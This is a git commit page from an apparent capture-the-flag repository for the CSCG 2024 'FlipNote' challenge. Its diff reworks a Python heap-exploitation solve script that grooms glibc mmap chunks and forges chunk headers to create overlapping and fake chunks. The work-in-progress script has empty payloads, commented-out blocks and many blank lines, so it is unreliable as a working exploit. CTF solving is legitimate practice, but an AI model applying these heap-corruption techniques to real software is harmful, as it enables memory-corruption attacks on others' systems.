cscg24-flipnote

CSCG 2024 Challenge 'FlipNote'
git clone https://git.sinitax.com/sinitax/cscg24-flipnote
Log | Files | Refs | sfeed.txt

commit 3c435dfcc5fe5e96aac49b5bf73bd5be87fcb7ef
parent 3fdfc3ca2fbe9e92a472ae55009d80eaf175174b
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sat, 27 Apr 2024 02:06:16 +0200

Snapshot of insanity

Diffstat:
Msolve/solve | 174+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------------------
1 file changed, 134 insertions(+), 40 deletions(-)

diff --git a/solve/solve b/solve/solve @@ -60,8 +60,8 @@ def flipv(index, offset, value): def adj(size): return size - 2 - 0x10 # malloc header + align -#def mmap_adj(size): -# return size - 2 - 0x1000 # page aligned malloc header +def mmap_adj(size): + return size - 2 - 0x1000 # page aligned malloc header def align_up(size, align): if size % align != 0: @@ -81,6 +81,7 @@ def flat(attrs, length): pgsize = 0x1000 # get_delim will alloc in powers of 2 starting at 0x78 +small_size = 0x78 + 0x8 mmap_size_1 = 0x78 * 2 ** 11 + pgsize mmap_size_2 = 0x78 * 2 ** 12 + pgsize mmap_size_3 = 0x78 * 2 ** 13 + pgsize @@ -93,70 +94,163 @@ gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set de + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue"' run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) -mmap_threshold_max = 0x400000 +# Prepare some low indexes for later. +chain_head = alloc(cc() * adj(small_size)) +overlap1 = alloc(cc() * adj(small_size)) +overlap2 = alloc(cc() * adj(small_size)) +fake = alloc(cc() * adj(small_size)) -mmap_size_1 = 0x2000000 -mmap_size_2 = 0x4000000 +# Use chain of small mmap'd chunks to manage memory while avoiding +# increasing mmap_threshold by not free'ing large chunks directly, +# but freeing small chunks (2 * mmap_size_1) in a cascaded chain. -def mmap_adj(size): - assert(size > mmap_threshold_max) # single bit - mmap_sizes = (0x78 * 2 ** i - 2 for i in reversed(range(25))) - return next(filter(lambda s: s > mmap_threshold_max and s < size, mmap_sizes)) +chain_len = 10 +chain = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(chain_len)][::-1] -print("MMAP1", hex(mmap_size_1), hex(mmap_adj(mmap_size_1))) -print("MMAP2", hex(mmap_size_2), hex(mmap_adj(mmap_size_2))) +free(chain[0]) +free(chain_head) +link_payload = flat({ mmap_size_1 - 8: p64(mmap_size_3^0b010) }, mmap_adj(mmap_size_3)) +chain_head = alloc(link_payload) -_ = alloc(cc() * 0x10000000) -free(_) +def clear(): + edit(chain_head, link_payload) + prev = chain_head + for i in range(chain_len): + free(prev) + prev = grid[i] = alloc(link_payload) + global grid -back = alloc(cc() * 0x10) -_ = alloc(cc() * mmap_adj(mmap_size_1)) -front = alloc(cc() * mmap_adj(mmap_size_1)) +clear() + embed() -free(front) -free(back) -adjust = 0x5000 -assert(back == alloc(flat({ - mmap_size_2 - mmap_size_1 - 8: p64((mmap_size_1 + adjust)^0b010) -}, mmap_adj(mmap_size_2)))) -embed() -free(front) -assert(front == alloc(cc() * mmap_adj(mmap_size_1))) -free(back) -embed() -# Prepare some low indexes for later. -fake = alloc(cc() * 0x10) -overlap1 = alloc(cc() * 0x10) -overlap2 = alloc(cc() * 0x10) -# Also allocate a tcache sized chunk for later. -head = alloc(cc() * adj(tcache_size)) -# Setup filler chunks. -adjust = 0x5000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +embed() + +# Setup grid. grid_size = mmap_size_1 -grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)] -list(map(free, reversed(grid[adjust // grid_size:]))) +grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)][::-1] +list(map(free, grid)) +def fixup(addr, start, value): + global grid, overlap1, overlap2 + assert(addr > start - mmap_size_3) + offset = addr - start - mmap_size_3 + free(overlap1) + assert(overlap1 == alloc(flat({ offset: value }, mmap_size_3))) + free(overlap1) + overlap1 = alloc(cc() * adj(small_size)) + +adjust = 0x5000 + +fixup(-grid_size-8, 0, p64(adjust^0b010)) + +free(grid[-1]) +left = grid_size - adjust + +free(fake) +fake = alloc(mmap_size_3) +free(fake) +fixup(-mmap_size_3-left-8, -left, p64(tcache_size^0b001)) + +def make_fake(target, offset, size): + global grid, overlap1, overlap2 + + grid_left = offset // grid_size + list(map(free, grid[-grid_left:])) + + offset_1 = grid_size - (offset % grid_size) + if grid_left % grid_size != 0: + free(overlap1) + assert(overlap1 == alloc(flat({ + mmap_size_3 - grid_size - 8: p64(offset_1^0b010) + }, mmap_adj(mmap_size_3)))) + free(overlap1) + overlap1 = alloc(cc() * adj(small_size)) + grid[-grid_left-1] + + free(target) + assert(target == alloc(flat({ + + }, mmap_adj(mmap_size_3)))) + + free(overlap2) + #offset_2 = offset_1 + mmap_size_3 + #overlap2 = alloc(flat({ + # grid_size offset_2 + #}, mmap_adj(mmap_size_1))) + + return target + +fake = make_fake(fake, 0x5000, mmap_size_3) +free(fake) overlap_size = mmap_size_3 +overlap_left = grid_size - adjust % grid_size free(overlap1) -overlap = alloc(flat({ +overlap1 = alloc(flat({ overlap_size - grid_size - 16: p64(0), - overlap_size - grid_size - 8: p64(grid_size - adjust % grid_size) + overlap_size - grid_size - 8: p64(overlap_left) }, overlap_size)) +free(overlap2) overlap2 = alloc(flat({ - grid_size - (overlap_size % grid_size) - 8: p64(overlap_size) + grid_size - (overlap_size % grid_size) - 8: p64(overlap_size - overlap_left) }, grid_size)) +free(grid[(adjust//grid_size)-1]) # free overlap_left +free(overlap2) # free overlap + embed() # Alloc large chunk to overlap freed filler chunks.